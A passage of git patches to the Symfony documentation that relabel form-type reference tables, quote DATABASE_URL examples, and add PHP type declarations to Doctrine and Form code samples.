@@ -40,9 +40,9 @@ If you want to have a boolean field, use :doc:`CheckboxType </reference/forms/ty
 |                           | - `required`_                                                       |
 |                           | - `row_attr`_                                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid option.                                       |
+| Default invalid message   | Please select a valid option.                                       |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`CheckboxType </reference/forms/types/checkbox>`               |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index ab3a0d15859..f8284f1b7eb 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -28,9 +28,9 @@ The ``RangeType`` field is a slider that is rendered using the HTML5
 |                           | - `row_attr`_                                                       |
 |                           | - `trim`_                                                           |
 +---------------------------+---------------------------------------------------------------------+
-| Default `invalid_message` | Please choose a valid range.                                        |
+| Default invalid message   | Please choose a valid range.                                        |
 +---------------------------+---------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                 |
+| Legacy invalid message    | The value {{ value }} is not valid.                                 |
 +---------------------------+---------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                       |
 +---------------------------+---------------------------------------------------------------------+
diff --git a/reference/forms/types/repeated.rst b/reference/forms/types/repeated.rst
index 7a9f6d9d9be..8c36c64ddd5 100644
--- a/reference/forms/types/repeated.rst
+++ b/reference/forms/types/repeated.rst
@@ -32,9 +32,9 @@ accuracy.
 |                           | - `mapped`_                                                            |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | The values do not match.                                               |
+| Default invalid message   | The values do not match.                                               |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                          |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/search.rst b/reference/forms/types/search.rst
index f9c53733872..d6dceeb0264 100644
--- a/reference/forms/types/search.rst
+++ b/reference/forms/types/search.rst
@@ -30,9 +30,9 @@ Read about the input search field at `DiveIntoHTML5.info`_
 |                           | - `row_attr`_                                                        |
 |                           | - `trim`_                                                            |
 +---------------------------+----------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid search term.                                    |
+| Default invalid message   | Please enter a valid search term.                                    |
 +---------------------------+----------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                  |
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
 +---------------------------+----------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                        |
 +---------------------------+----------------------------------------------------------------------+
diff --git a/reference/forms/types/tel.rst b/reference/forms/types/tel.rst
index fc45434bc4e..19847431dd3 100644
--- a/reference/forms/types/tel.rst
+++ b/reference/forms/types/tel.rst
@@ -35,9 +35,9 @@ to input phone numbers.
 |                           | - `row_attr`_                                                     |
 |                           | - `trim`_                                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Default `invalid_message` | Please provide a valid phone number.                              |
+| Default invalid message   | Please provide a valid phone number.                              |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
 +---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 08c3efb77f4..cac168d569e 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -48,9 +48,9 @@ stored as a ``DateTime`` object, a string, a timestamp or an array.
 |                           | - `mapped`_                                                                 |
 |                           | - `row_attr`_                                                               |
 +---------------------------+-----------------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid time.                                                  |
+| Default invalid message   | Please enter a valid time.                                                  |
 +---------------------------+-----------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                         |
+| Legacy invalid message    | The value {{ value }} is not valid.                                         |
 +---------------------------+-----------------------------------------------------------------------------+
 | Parent type               | FormType                                                                    |
 +---------------------------+-----------------------------------------------------------------------------+
diff --git a/reference/forms/types/timezone.rst b/reference/forms/types/timezone.rst
index 64e17890de8..987f26c9036 100644
--- a/reference/forms/types/timezone.rst
+++ b/reference/forms/types/timezone.rst
@@ -50,9 +50,9 @@ manually, but then you should just use the ``ChoiceType`` directly.
 |                           | - `required`_                                                          |
 |                           | - `row_attr`_                                                          |
 +---------------------------+------------------------------------------------------------------------+
-| Default `invalid_message` | Please select a valid timezone.                                        |
+| Default invalid message   | Please select a valid timezone.                                        |
 +---------------------------+------------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                    |
+| Legacy invalid message    | The value {{ value }} is not valid.                                    |
 +---------------------------+------------------------------------------------------------------------+
 | Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                      |
 +---------------------------+------------------------------------------------------------------------+
diff --git a/reference/forms/types/url.rst b/reference/forms/types/url.rst
index e5f782ce088..13f425f1d70 100644
--- a/reference/forms/types/url.rst
+++ b/reference/forms/types/url.rst
@@ -32,9 +32,9 @@ have a protocol.
 |                           | - `row_attr`_                                                     |
 |                           | - `trim`_                                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid URL.                                         |
+| Default invalid message   | Please enter a valid URL.                                         |
 +---------------------------+-------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                               |
+| Legacy invalid message    | The value {{ value }} is not valid.                               |
 +---------------------------+-------------------------------------------------------------------+
 | Parent type               | :doc:`TextType </reference/forms/types/text>`                     |
 +---------------------------+-------------------------------------------------------------------+
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index eb526c160af..99762f803e3 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -39,9 +39,9 @@ the data can be a string or an array.
 |                           | - `mapped`_                                                        |
 |                           | - `row_attr`_                                                      |
 +---------------------------+--------------------------------------------------------------------+
-| Default `invalid_message` | Please enter a valid week.                                         |
+| Default invalid message   | Please enter a valid week.                                         |
 +---------------------------+--------------------------------------------------------------------+
-| Legacy `invalid_message`  | The value {{ value }} is not valid.                                |
+| Legacy invalid message    | The value {{ value }} is not valid.                                |
 +---------------------------+--------------------------------------------------------------------+
 | Parent type               | :doc:`FormType </reference/forms/types/form>`                      |
 +---------------------------+--------------------------------------------------------------------+

From 3d274edd4b86473e7eb7275c89b0731fb6067294 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Nov 2020 16:13:49 +0100
Subject: [PATCH 0159/5766] Restore the quotes wraping the DATABASE_URL value

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index 365626ceacd..8c9550f64ca 100644
--- a/testing.rst
+++ b/testing.rst
@@ -990,7 +990,7 @@ need in your ``.env.test`` file:
 .. code-block:: text
 
     # .env.test
-    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name_test?serverVersion=5.7"
 
     # use SQLITE
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"

From ef0b3fb0dcd74caea20fae38896f87f010e1f3fc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 20 Nov 2020 16:39:17 +0100
Subject: [PATCH 0160/5766] Tweak

---
 doctrine/dbal.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 4b9f26d3f7b..3ddb98d837f 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -35,7 +35,7 @@ Then configure the ``DATABASE_URL`` environment variable in ``.env``:
     # .env (or override DATABASE_URL in .env.local to avoid committing your changes)
 
     # customize this line!
-    DATABASE_URL=mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7
+    DATABASE_URL="mysql://db_user:db_password@127.0.0.1:3306/db_name?serverVersion=5.7"
 
 Further things can be configured in ``config/packages/doctrine.yaml`` - see
 :ref:`reference-dbal-configuration`. Remove the ``orm`` key in that file

From 90c83b214c39c26633c3f7a0d4b8541bef6c6a26 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Nov 2020 14:35:47 +0100
Subject: [PATCH 0161/5766] Added PHP types to the Doctrine related articles

---
 doctrine.rst                          | 193 ++++++++++++++++----------
 doctrine/associations.rst             |  81 +++++++----
 doctrine/dbal.rst                     |   4 +-
 doctrine/events.rst                   |  16 +--
 doctrine/multiple_entity_managers.rst |   9 +-
 doctrine/resolve_target_entity.rst    |   5 +-
 6 files changed, 186 insertions(+), 122 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 21b14c2ae4c..8226bf22700 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -51,7 +51,7 @@ The database connection information is stored as an environment variable called
 
     # to use sqlite:
     # DATABASE_URL="sqlite:///%kernel.project_dir%/var/app.db"
-    
+
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
 
@@ -506,46 +506,60 @@ Fetching an object back out of the database is even easier. Suppose you want to
 be able to go to ``/product/1`` to see your new product::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
-
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(int $id): Response
+        {
+            $product = $this->getDoctrine()
+                ->getRepository(Product::class)
+                ->find($id);
+
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        return new Response('Check out this great product: '.$product->getName());
+            return new Response('Check out this great product: '.$product->getName());
 
-        // or render a template
-        // in the template, print things with {{ product.name }}
-        // return $this->render('product/show.html.twig', ['product' => $product]);
+            // or render a template
+            // in the template, print things with {{ product.name }}
+            // return $this->render('product/show.html.twig', ['product' => $product]);
+        }
     }
 
 Another possibility is to use the ``ProductRepository`` using Symfony's autowiring
 and injected by the dependency injection container::
 
     // src/Controller/ProductController.php
-    // ...
+    namespace App\Controller;
+
+    use App\Entity\Product;
     use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show($id, ProductRepository $productRepository)
+    class ProductController extends AbstractController
     {
-        $product = $productRepository
-            ->find($id);
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(int $id, ProductRepository $productRepository): Response
+        {
+            $product = $productRepository
+                ->find($id);
 
-        // ...
+            // ...
+        }
     }
 
 Try it out!
@@ -611,15 +625,23 @@ for you automatically! First, install the bundle in case you don't have it:
 Now, simplify your controller::
 
     // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
 
-    /**
-     * @Route("/product/{id}", name="product_show")
-     */
-    public function show(Product $product)
+    class ProductController extends AbstractController
     {
-        // use the Product!
-        // ...
+        /**
+         * @Route("/product/{id}", name="product_show")
+         */
+        public function show(Product $product): Response
+        {
+            // use the Product!
+            // ...
+        }
     }
 
 That's it! The bundle uses the ``{id}`` from the route to query for the ``Product``
@@ -633,26 +655,37 @@ Updating an Object
 Once you've fetched an object from Doctrine, you interact with it the same as
 with any PHP model::
 
-    /**
-     * @Route("/product/edit/{id}")
-     */
-    public function update($id)
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
+    use App\Entity\Product;
+    use App\Repository\ProductRepository;
+    use Symfony\Component\HttpFoundation\Response;
+    // ...
+
+    class ProductController extends AbstractController
     {
-        $entityManager = $this->getDoctrine()->getManager();
-        $product = $entityManager->getRepository(Product::class)->find($id);
+        /**
+         * @Route("/product/edit/{id}")
+         */
+        public function update(int $id): Response
+        {
+            $entityManager = $this->getDoctrine()->getManager();
+            $product = $entityManager->getRepository(Product::class)->find($id);
 
-        if (!$product) {
-            throw $this->createNotFoundException(
-                'No product found for id '.$id
-            );
-        }
+            if (!$product) {
+                throw $this->createNotFoundException(
+                    'No product found for id '.$id
+                );
+            }
 
-        $product->setName('New product name!');
-        $entityManager->flush();
+            $product->setName('New product name!');
+            $entityManager->flush();
 
-        return $this->redirectToRoute('product_show', [
-            'id' => $product->getId()
-        ]);
+            return $this->redirectToRoute('product_show', [
+                'id' => $product->getId()
+            ]);
+        }
     }
 
 Using Doctrine to edit an existing product consists of three steps:
@@ -728,7 +761,7 @@ a new method for this to your repository::
         /**
          * @return Product[]
          */
-        public function findAllGreaterThanPrice($price): array
+        public function findAllGreaterThanPrice(int $price): array
         {
             $entityManager = $this->getEntityManager();
 
@@ -773,25 +806,28 @@ based on PHP conditions)::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price, $includeUnavailableProducts = false): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        // automatically knows to select Products
-        // the "p" is an alias you'll use in the rest of the query
-        $qb = $this->createQueryBuilder('p')
-            ->where('p.price > :price')
-            ->setParameter('price', $price)
-            ->orderBy('p.price', 'ASC');
-
-        if (!$includeUnavailableProducts) {
-            $qb->andWhere('p.available = TRUE');
-        }
+        public function findAllGreaterThanPrice(int $price, bool $includeUnavailableProducts = false): array
+        {
+            // automatically knows to select Products
+            // the "p" is an alias you'll use in the rest of the query
+            $qb = $this->createQueryBuilder('p')
+                ->where('p.price > :price')
+                ->setParameter('price', $price)
+                ->orderBy('p.price', 'ASC');
+
+            if (!$includeUnavailableProducts) {
+                $qb->andWhere('p.available = TRUE');
+            }
 
-        $query = $qb->getQuery();
+            $query = $qb->getQuery();
 
-        return $query->execute();
+            return $query->execute();
 
-        // to get just one result:
-        // $product = $query->setMaxResults(1)->getOneOrNullResult();
+            // to get just one result:
+            // $product = $query->setMaxResults(1)->getOneOrNullResult();
+        }
     }
 
 Querying with SQL
@@ -802,20 +838,23 @@ In addition, you can query directly with SQL if you need to::
     // src/Repository/ProductRepository.php
 
     // ...
-    public function findAllGreaterThanPrice($price): array
+    class ProductRepository extends ServiceEntityRepository
     {
-        $conn = $this->getEntityManager()->getConnection();
-
-        $sql = '
-            SELECT * FROM product p
-            WHERE p.price > :price
-            ORDER BY p.price ASC
-            ';
-        $stmt = $conn->prepare($sql);
-        $stmt->execute(['price' => $price]);
-
-        // returns an array of arrays (i.e. a raw data set)
-        return $stmt->fetchAllAssociative();
+        public function findAllGreaterThanPrice(int $price): array
+        {
+            $conn = $this->getEntityManager()->getConnection();
+
+            $sql = '
+                SELECT * FROM product p
+                WHERE p.price > :price
+                ORDER BY p.price ASC
+                ';
+            $stmt = $conn->prepare($sql);
+            $stmt->execute(['price' => $price]);
+
+            // returns an array of arrays (i.e. a raw data set)
+            return $stmt->fetchAllAssociative();
+        }
     }
 
 With SQL, you will get back raw data, not objects (unless you use the `NativeQuery`_
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 8bdddab536b..4a2fafb6467 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -327,7 +327,7 @@ Now you can see this new code in action! Imagine you're inside a controller::
         /**
          * @Route("/product", name="product")
          */
-        public function index()
+        public function index(): Response
         {
             $category = new Category();
             $category->setName('Computer Peripherals');
@@ -378,20 +378,26 @@ When you need to fetch associated objects, your workflow looks like it did
 before. First, fetch a ``$product`` object and then access its related
 ``Category`` object::
 
+    // src/Controller/ProductController.php
+    namespace App\Controller;
+
     use App\Entity\Product;
     // ...
 
-    public function show($id)
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->find($id);
+        public function show(int $id): Response
+        {
+            $product = $this->getDoctrine()
+                ->getRepository(Product::class)
+                ->find($id);
 
-        // ...
+            // ...
 
-        $categoryName = $product->getCategory()->getName();
+            $categoryName = $product->getCategory()->getName();
 
-        // ...
+            // ...
+        }
     }
 
 In this example, you first query for a ``Product`` object based on the product's
@@ -411,15 +417,21 @@ the category (i.e. it's "lazily loaded").
 Because we mapped the optional ``OneToMany`` side, you can also query in the other
 direction::
 
-    public function showProducts($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $category = $this->getDoctrine()
-            ->getRepository(Category::class)
-            ->find($id);
+        public function showProducts(int $id): Response
+        {
+            $category = $this->getDoctrine()
+                ->getRepository(Category::class)
+                ->find($id);
 
-        $products = $category->getProducts();
+            $products = $category->getProducts();
 
-        // ...
+            // ...
+        }
     }
 
 In this case, the same things occur: you first query for a single ``Category``
@@ -475,18 +487,23 @@ can avoid the second query by issuing a join in the original query. Add the
 following method to the ``ProductRepository`` class::
 
     // src/Repository/ProductRepository.php
-    public function findOneByIdJoinedToCategory($productId)
+
+    // ...
+    class ProductRepository extends ServiceEntityRepository
     {
-        $entityManager = $this->getEntityManager();
+        public function findOneByIdJoinedToCategory(int $productId): ?Product
+        {
+            $entityManager = $this->getEntityManager();
 
-        $query = $entityManager->createQuery(
-            'SELECT p, c
-            FROM App\Entity\Product p
-            INNER JOIN p.category c
-            WHERE p.id = :id'
-        )->setParameter('id', $productId);
+            $query = $entityManager->createQuery(
+                'SELECT p, c
+                FROM App\Entity\Product p
+                INNER JOIN p.category c
+                WHERE p.id = :id'
+            )->setParameter('id', $productId);
 
-        return $query->getOneOrNullResult();
+            return $query->getOneOrNullResult();
+        }
     }
 
 This will *still* return an array of ``Product`` objects. But now, when you call
@@ -495,15 +512,21 @@ This will *still* return an array of ``Product`` objects. But now, when you call
 Now, you can use this method in your controller to query for a ``Product``
 object and its related ``Category`` in one query::
 
-    public function show($id)
+    // src/Controller/ProductController.php
+
+    // ...
+    class ProductController extends AbstractController
     {
-        $product = $this->getDoctrine()
-            ->getRepository(Product::class)
-            ->findOneByIdJoinedToCategory($id);
+        public function show(int $id): Response
+        {
+            $product = $this->getDoctrine()
+                ->getRepository(Product::class)
+                ->findOneByIdJoinedToCategory($id);
 
-        $category = $product->getCategory();
+            $category = $product->getCategory();
 
-        // ...
+            // ...
+        }
     }
 
 .. _associations-inverse-side:
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 3ddb98d837f..80c145d3d6a 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -48,10 +48,12 @@ object::
     namespace App\Controller;
 
     use Doctrine\DBAL\Driver\Connection;
+    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Response;
 
     class UserController extends AbstractController
     {
-        public function index(Connection $connection)
+        public function index(Connection $connection): Response
         {
             $users = $connection->fetchAll('SELECT * FROM users');
 
diff --git a/doctrine/events.rst b/doctrine/events.rst
index 1ce0bfa8ac0..309d10a7e12 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -74,7 +74,7 @@ define a callback for the ``prePersist`` Doctrine event:
             /**
              * @ORM\PrePersist
              */
-            public function setCreatedAtValue()
+            public function setCreatedAtValue(): void
             {
                 $this->createdAt = new \DateTime();
             }
@@ -132,7 +132,7 @@ do so, define a listener for the ``postPersist`` Doctrine event::
     {
         // the listener methods receive an argument which gives you access to
         // both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
@@ -241,7 +241,7 @@ define a listener for the ``postUpdate`` Doctrine event::
     {
         // the entity listener methods receive two arguments:
         // the entity instance and the lifecycle event
-        public function postUpdate(User $user, LifecycleEventArgs $event)
+        public function postUpdate(User $user, LifecycleEventArgs $event): void
         {
             // ... do something to notify the changes
         }
@@ -365,7 +365,7 @@ want to log all the database activity. To do so, define a subscriber for the
     {
         // this method can only return the event names; you cannot define a
         // custom method name to execute when each event triggers
-        public function getSubscribedEvents()
+        public function getSubscribedEvents(): array
         {
             return [
                 Events::postPersist,
@@ -377,22 +377,22 @@ want to log all the database activity. To do so, define a subscriber for the
         // callback methods must be called exactly like the events they listen to;
         // they receive an argument of type LifecycleEventArgs, which gives you access
         // to both the entity object of the event and the entity manager itself
-        public function postPersist(LifecycleEventArgs $args)
+        public function postPersist(LifecycleEventArgs $args): void
         {
             $this->logActivity('persist', $args);
         }
 
-        public function postRemove(LifecycleEventArgs $args)
+        public function postRemove(LifecycleEventArgs $args): void
         {
             $this->logActivity('remove', $args);
         }
 
-        public function postUpdate(LifecycleEventArgs $args)
+        public function postUpdate(LifecycleEventArgs $args): void
         {
             $this->logActivity('update', $args);
         }
 
-        private function logActivity(string $action, LifecycleEventArgs $args)
+        private function logActivity(string $action, LifecycleEventArgs $args): void
         {
             $entity = $args->getObject();
 
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index faffc480877..ba3475dbfbc 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -234,12 +234,11 @@ the default entity manager (i.e. ``default``) is returned::
     namespace App\Controller;
 
     // ...
-
     use Doctrine\ORM\EntityManagerInterface;
 
     class UserController extends AbstractController
     {
-        public function index(EntityManagerInterface $entityManager)
+        public function index(EntityManagerInterface $entityManager): Response
         {
             // These methods also return the default entity manager, but it's preferred
             // to get it by injecting EntityManagerInterface in the action method
@@ -250,6 +249,8 @@ the default entity manager (i.e. ``default``) is returned::
             // Both of these return the "customer" entity manager
             $customerEntityManager = $this->getDoctrine()->getManager('customer');
             $customerEntityManager = $this->get('doctrine.orm.customer_entity_manager');
+
+            // ...
         }
     }
 
@@ -268,7 +269,7 @@ The same applies to repository calls::
 
     class UserController extends AbstractController
     {
-        public function index()
+        public function index(): Response
         {
             // Retrieves a repository managed by the "default" em
             $products = $this->getDoctrine()
@@ -287,6 +288,8 @@ The same applies to repository calls::
                 ->getRepository(Customer::class, 'customer')
                 ->findAll()
             ;
+
+            // ...
         }
     }
 
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 36038fd9f3c..765f5d187ce 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -96,10 +96,7 @@ An InvoiceSubjectInterface::
         // will need to access on the subject so that you can
         // be sure that you have access to those methods.
 
-        /**
-         * @return string
-         */
-        public function getName();
+        public function getName(): string;
     }
 
 Next, you need to configure the listener, which tells the DoctrineBundle

From aec1016d94db1de37eaedb7f8567046168d0805a Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sun, 8 Nov 2020 14:57:22 +0100
Subject: [PATCH 0162/5766] Added PHP types to the Form related articles

---
 form/create_custom_field_type.rst          |  18 ++--
 form/create_form_type_extension.rst        |   8 +-
 form/data_based_validation.rst             |   6 +-
 form/data_mappers.rst                      |   8 +-
 form/data_transformers.rst                 |  28 +++---
 form/direct_submit.rst                     |   3 +-
 form/disabling_validation.rst              |   2 +-
 form/dynamic_form_modification.rst         |  31 ++++---
 form/embedded.rst                          |  10 +-
 form/events.rst                            |  10 +-
 form/form_collections.rst                  | 102 +++++++++++----------
 form/form_themes.rst                       |  10 +-
 form/inherit_data_option.rst               |  12 +--
 form/type_guesser.rst                      |  14 +--
 form/use_empty_data.rst                    |   6 +-
 form/validation_group_service_resolver.rst |   8 +-
 form/validation_groups.rst                 |   2 +-
 form/without_class.rst                     |  43 +++++----
 forms.rst                                  | 100 +++++++++++---------
 19 files changed, 224 insertions(+), 197 deletions(-)

diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 58e265fd2ad..59816006041 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -38,7 +38,7 @@ By convention they are stored in the ``src/Form/Type/`` directory::
 
     class ShippingType extends AbstractType
     {
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             $resolver->setDefaults([
                 'choices' => [
@@ -49,7 +49,7 @@ By convention they are stored in the ``src/Form/Type/`` directory::
             ]);
         }
 
-        public function getParent()
+        public function getParent(): string
         {
             return ChoiceType::class;
         }
@@ -82,7 +82,7 @@ Now you can add this form type when :doc:`creating Symfony forms </forms>`::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -168,7 +168,7 @@ in the postal address. For the moment, all fields are of type ``TextType``::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('addressLine1', TextType::class, [
@@ -209,7 +209,7 @@ correctly rendered in any template::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -254,7 +254,7 @@ to define, validate and process their values::
     {
         // ...
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // this defines the available options and their default values when
             // they are not configured explicitly when using the form type
@@ -293,7 +293,7 @@ Now you can configure these options when using the form type::
 
     class OrderType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 // ...
@@ -320,7 +320,7 @@ The last step is to use these options when building the form::
     {
         // ...
 
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             // ...
 
@@ -473,7 +473,7 @@ defined by the form or be completely independent::
 
         // ...
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             // pass the form type option directly to the template
             $view->vars['isExtendedAddress'] = $options['is_extended_address'];
diff --git a/form/create_form_type_extension.rst b/form/create_form_type_extension.rst
index 59b1c06e9fe..55d3d34776f 100644
--- a/form/create_form_type_extension.rst
+++ b/form/create_form_type_extension.rst
@@ -114,7 +114,7 @@ the database::
 
         // ...
 
-        public function getWebPath()
+        public function getWebPath(): string
         {
             // ... $webPath being the full image URL, to be used in templates
 
@@ -149,13 +149,13 @@ For example::
             return [FileType::class];
         }
 
-        public function configureOptions(OptionsResolver $resolver)
+        public function configureOptions(OptionsResolver $resolver): void
         {
             // makes it legal for FileType fields to have an image_property option
             $resolver->setDefined(['image_property']);
         }
 
-        public function buildView(FormView $view, FormInterface $form, array $options)
+        public function buildView(FormView $view, FormInterface $form, array $options): void
         {
             if (isset($options['image_property'])) {
                 // this will be whatever class/entity is bound to your form (e.g. Media)
@@ -221,7 +221,7 @@ next to the file field. For example::
 
     class MediaType extends AbstractType
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('name', TextType::class)
diff --git a/form/data_based_validation.rst b/form/data_based_validation.rst
index 383883ba91f..226284db439 100644
--- a/form/data_based_validation.rst
+++ b/form/data_based_validation.rst
@@ -12,7 +12,7 @@ to an array callback::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => [
@@ -32,7 +32,7 @@ example).  You can also define whole logic inline by using a ``Closure``::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
@@ -56,7 +56,7 @@ of the entity as well you have to adjust the option as follows::
     use Symfony\Component\OptionsResolver\OptionsResolver;
 
     // ...
-    public function configureOptions(OptionsResolver $resolver)
+    public function configureOptions(OptionsResolver $resolver): void
     {
         $resolver->setDefaults([
             'validation_groups' => function (FormInterface $form) {
diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 15e66ce54b3..c14eabd7683 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -98,7 +98,7 @@ in your form type::
         /**
          * @param Color|null $viewData
          */
-        public function mapDataToForms($viewData, $forms)
+        public function mapDataToForms($viewData, $forms): void
         {
             // there is no data yet, so nothing to prepopulate
             if (null === $viewData) {
@@ -119,7 +119,7 @@ in your form type::
             $forms['blue']->setData($viewData->getBlue());
         }
 
-        public function mapFormsToData($forms, &$viewData)
+        public function mapFormsToData($forms, &$viewData): void
         {
             /** @var FormInterface[] $forms */
             $forms = iterator_to_array($forms);
@@ -158,7 +158,7 @@ method::
 
     final class ColorType extends AbstractType implements DataMapperInterface
     {
-        public function buildForm(FormBuilderInterface $builder, array $options)
+        public function buildForm(FormBuilderInterface $builder, array $options): void
         {
             $builder
                 ->add('red', IntegerType::class, [
